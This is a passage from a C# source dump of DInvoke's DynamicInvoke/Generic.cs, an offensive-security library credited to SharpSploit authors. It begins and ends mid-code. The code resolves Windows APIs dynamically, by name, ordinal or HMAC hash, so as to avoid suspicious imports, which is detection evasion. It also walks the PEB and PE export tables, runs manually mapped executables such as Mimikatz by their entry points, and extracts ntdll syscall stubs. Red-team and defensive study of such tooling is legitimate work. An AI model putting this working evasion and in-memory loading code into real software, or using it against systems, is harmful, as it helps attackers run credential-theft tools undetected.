public struct _SECURITY_LOGON_SESSION_DATA
{
public UInt32 Size;
public WinNT._LUID LoginID;
public _LSA_UNICODE_STRING Username;
public _LSA_UNICODE_STRING LoginDomain;
public _LSA_UNICODE_STRING AuthenticationPackage;
public UInt32 LogonType;
public UInt32 Session;
public IntPtr pSid;
public UInt64 LoginTime;
public _LSA_UNICODE_STRING LogonServer;
public _LSA_UNICODE_STRING DnsDomainName;
public _LSA_UNICODE_STRING Upn;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Generic.cs
================================================
// Author: Ryan Cobb (@cobbr_io)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using ManualMap = DInvoke.ManualMap;
namespace DInvoke.DynamicInvoke
{
///
/// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious
/// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime.
///
public class Generic
{
///
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
///
/// The Wover (@TheRealWover)
/// Name of the DLL.
/// Name of the function.
/// Prototype for the function, represented as a Delegate object.
/// Parameters to pass to the function. Can be modified if function uses call by reference.
/// Object returned by the function. Must be unmarshalled by the caller.
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
///
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
///
/// The Wover (@TheRealWover)
/// A pointer to the unmanaged function.
/// Prototype for the function, represented as a Delegate object.
/// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
/// Object returned by the function. Must be unmarshalled by the caller.
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
///
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
///
/// Ruben Boonen (@FuzzySec)
/// The path to the DLL on disk. Uses the LoadLibrary convention.
/// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Data.Native.UNICODE_STRING uModuleName = new Data.Native.UNICODE_STRING();
Native.RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Data.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Data.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
///
/// Helper for getting the pointer to a function from a DLL loaded by the process.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
/// Name of the exported procedure.
/// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
/// IntPtr for the desired function.
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName, ResolveForwards);
}
///
/// Helper for getting the pointer to a function from a DLL loaded by the process.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
/// Ordinal of the exported procedure.
/// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
/// IntPtr for the desired function.
public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, Ordinal, ResolveForwards: ResolveForwards);
}
///
/// Helper for getting the pointer to a function from a DLL loaded by the process.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").
/// Hash of the exported procedure.
/// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
/// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.
/// IntPtr for the desired function.
public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionHash, Key, ResolveForwards: ResolveForwards);
}
///
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the DLL (e.g. "ntdll.dll").
/// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
///
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function parses the _PEB_LDR_DATA structure.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the DLL (e.g. "ntdll.dll").
/// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.
public static IntPtr GetPebLdrModuleEntry(string DLLName)
{
// Get _PEB pointer
Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
// Set function variables
bool Is32Bit = false;
UInt32 LdrDataOffset = 0;
UInt32 InLoadOrderModuleListOffset = 0;
if (IntPtr.Size == 4)
{
Is32Bit = true;
LdrDataOffset = 0xc;
InLoadOrderModuleListOffset = 0xC;
}
else
{
LdrDataOffset = 0x18;
InLoadOrderModuleListOffset = 0x10;
}
// Get module InLoadOrderModuleList -> _LIST_ENTRY
IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));
IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);
Data.Native.LIST_ENTRY le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY));
// Loop entries
IntPtr flink = le.Flink;
IntPtr hModule = IntPtr.Zero;
Data.PE.LDR_DATA_TABLE_ENTRY dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
while (dte.InLoadOrderLinks.Flink != le.Blink)
{
// Match module name
if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
{
hModule = dte.DllBase;
}
// Move Ptr
flink = dte.InLoadOrderLinks.Flink;
dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
}
return hModule;
}
///
/// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.
///
/// Ruben Boonen (@FuzzySec)
/// API name to hash.
/// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
/// string, the computed MD5 hash value.
public static string GetAPIHash(string APIName, long Key)
{
byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());
byte[] kbytes = BitConverter.GetBytes(Key);
using (HMACMD5 hmac = new HMACMD5(kbytes))
{
byte[] bHash = hmac.ComputeHash(data);
return BitConverter.ToString(bHash).Replace("-", "");
}
}
///
/// Given a module base address, resolve the address of a function by manually walking the module export table.
///
/// Ruben Boonen (@FuzzySec)
/// A pointer to the base address where the module is loaded in the current process.
/// The name of the export to search for (e.g. "NtAlertResumeThread").
/// IntPtr for the desired function.
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Get the VAs of the name table's beginning and end.
Int64 NamesBegin = ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA));
Int64 NamesFinal = NamesBegin + NumberOfNames * 4;
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
///
/// Given a module base address, resolve the address of a function by manually walking the module export table.
///
/// Ruben Boonen (@FuzzySec)
/// A pointer to the base address where the module is loaded in the current process.
/// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).
/// IntPtr for the desired function.
public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
if (FunctionOrdinal == Ordinal)
{
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(Ordinal + ", ordinal not found.");
}
return FunctionPtr;
}
///
/// Given a module base address, resolve the address of a function by manually walking the module export table.
///
/// Ruben Boonen (@FuzzySec)
/// A pointer to the base address where the module is loaded in the current process.
/// Hash of the exported procedure.
/// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
/// IntPtr for the desired function.
public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(FunctionHash + ", export hash not found.");
}
return FunctionPtr;
}
///
/// Check if an address to an exported function should be resolved to a forward. If so, return the address of the forward.
///
/// The Wover (@TheRealWover)
/// Function of an exported address, found by parsing a PE file's export table.
/// IntPtr for the forward. If the function is not forwarded, return the original pointer.
public static IntPtr GetForwardAddress(IntPtr ExportAddress)
{
IntPtr FunctionPtr = ExportAddress;
try
{
// Assume it is a forward. If it is not, we will get an error
string ForwardNames = Marshal.PtrToStringAnsi(FunctionPtr);
string[] values = ForwardNames.Split('.');
string ForwardModuleName = values[0];
string ForwardExportName = values[1];
// Check if it is an API Set mapping
Dictionary ApiSet = GetApiSetMapping();
string LookupKey = ForwardModuleName.Substring(0, ForwardModuleName.Length - 2) + ".dll";
if (ApiSet.ContainsKey(LookupKey))
ForwardModuleName = ApiSet[LookupKey];
else
ForwardModuleName = ForwardModuleName + ".dll";
IntPtr hModule = GetPebLdrModuleEntry(ForwardModuleName);
if (hModule != IntPtr.Zero)
{
FunctionPtr = GetExportAddress(hModule, ForwardExportName);
}
}
catch
{
// Do nothing, it was not a forward
}
return FunctionPtr;
}
///
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
///
/// Ruben Boonen (@FuzzySec)
/// A pointer to the base address where the module is loaded in the current process.
/// The name of the export to search for (e.g. "NtAlertResumeThread").
/// IntPtr for the desired function.
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)
{
Data.Native.ANSI_STRING aFunc = new Data.Native.ANSI_STRING
{
Length = (ushort)ExportName.Length,
MaximumLength = (ushort)(ExportName.Length + 2),
Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)
};
IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));
Marshal.StructureToPtr(aFunc, pAFunc, true);
IntPtr pFuncAddr = IntPtr.Zero;
Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);
Marshal.FreeHGlobal(pAFunc);
return pFuncAddr;
}
///
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
///
/// Ruben Boonen (@FuzzySec)
/// A pointer to the base address where the module is loaded in the current process.
/// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).
/// IntPtr for the desired function.
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)
{
IntPtr pFuncAddr = IntPtr.Zero;
IntPtr pOrd = (IntPtr)Ordinal;
Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);
return pFuncAddr;
}
///
/// Retrieve PE header information from the module base pointer.
///
/// Ruben Boonen (@FuzzySec)
/// Pointer to the module base.
/// PE.PE_META_DATA
public static Data.PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
{
Data.PE.PE_META_DATA PeMetaData = new Data.PE.PE_META_DATA();
try
{
UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
// Validate PE signature
if (PeMetaData.Pe != 0x4550)
{
throw new InvalidOperationException("Invalid PE signature.");
}
PeMetaData.ImageFileHeader = (Data.PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(Data.PE.IMAGE_FILE_HEADER));
IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
// Validate PE arch
if (PEArch == 0x010b) // Image is x32
{
PeMetaData.Is32Bit = true;
PeMetaData.OptHeader32 = (Data.PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER32));
}
else if (PEArch == 0x020b) // Image is x64
{
PeMetaData.Is32Bit = false;
PeMetaData.OptHeader64 = (Data.PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER64));
}
else
{
throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
}
// Read sections
Data.PE.IMAGE_SECTION_HEADER[] SectionArray = new Data.PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
{
IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
SectionArray[i] = (Data.PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(Data.PE.IMAGE_SECTION_HEADER));
}
PeMetaData.Sections = SectionArray;
}
catch
{
throw new InvalidOperationException("Invalid module base specified.");
}
return PeMetaData;
}
///
/// Resolve host DLL for API Set DLL.
///
/// Ruben Boonen (@FuzzySec)
/// Dictionary, a combination of Key:APISetDLL and Val:HostDLL.
public static Dictionary GetApiSetMapping()
{
Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;
// Create mapping dictionary
Dictionary ApiSetDict = new Dictionary();
IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));
Data.PE.ApiSetNamespace Namespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace));
for (var i = 0; i < Namespace.Count; i++)
{
Data.PE.ApiSetNamespaceEntry SetEntry = new Data.PE.ApiSetNamespaceEntry();
SetEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(Data.PE.ApiSetNamespaceEntry));
string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2);
string ApiSetEntryKey = ApiSetEntryName.Substring(0, ApiSetEntryName.Length - 2) + ".dll"; // Remove the patch number and add .dll
Data.PE.ApiSetValueEntry SetValue = new Data.PE.ApiSetValueEntry();
SetValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(Data.PE.ApiSetValueEntry));
string ApiSetValue = string.Empty;
if (SetValue.ValueCount != 0)
{
ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount / 2);
}
// Add pair to dict
ApiSetDict.Add(ApiSetEntryKey, ApiSetValue);
}
// Return dict
return ApiSetDict;
}
///
/// Call a manually mapped PE by its EntryPoint.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// void
public static void CallMappedPEModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
// Call module by EntryPoint (eg Mimikatz.exe)
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
Native.NtCreateThreadEx(
ref hRemoteThread,
Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
IntPtr.Zero, (IntPtr)(-1),
lpStartAddress, IntPtr.Zero,
false, 0, 0, 0, IntPtr.Zero
);
}
///
/// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// void
public static void CallMappedDLLModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
Data.PE.DllMain fDllMain = (Data.PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(Data.PE.DllMain));
bool CallRes = fDllMain(ModuleMemoryBase, Data.PE.DLL_PROCESS_ATTACH, IntPtr.Zero);
if (!CallRes)
{
throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH");
}
}
///
/// Call a manually mapped DLL by Export.
///
/// Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// The name of the export to search for (e.g. "NtAlertResumeThread").
/// Prototype for the function, represented as a Delegate object.
/// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
/// Specify whether to invoke the module's entry point.
/// void
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
///
/// Call a manually mapped DLL by Export.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// The number of the ordinal to search for (e.g. 0x07).
/// Prototype for the function, represented as a Delegate object.
/// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
/// Specify whether to invoke the module's entry point.
/// void
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, short Ordinal, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, Ordinal);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
///
/// Call a manually mapped DLL by Export.
///
/// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
/// Module meta data struct (PE.PE_META_DATA).
/// Base address of the module in memory.
/// Hash of the exported procedure.
/// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
/// Prototype for the function, represented as a Delegate object.
/// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
/// Specify whether to invoke the module's entry point.
/// void
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string FunctionHash, long Key, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, FunctionHash, Key);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
///
/// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
///
/// Ruben Boonen (@FuzzySec)
/// The name of the function to search for (e.g. "NtAlertResumeThread").
/// IntPtr, Syscall stub
public static IntPtr GetSyscallStub(string FunctionName)
{
// Verify process & architecture
bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
if (IntPtr.Size == 4 && isWOW64)
{
throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
}
// Find the path for ntdll by looking at the currently loaded module
string NtdllPath = string.Empty;
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
NtdllPath = Mod.FileName;
}
}
// Alloc module into memory for parsing
IntPtr pModule = ManualMap.Map.AllocateFileToMemory(NtdllPath);
// Fetch PE meta data
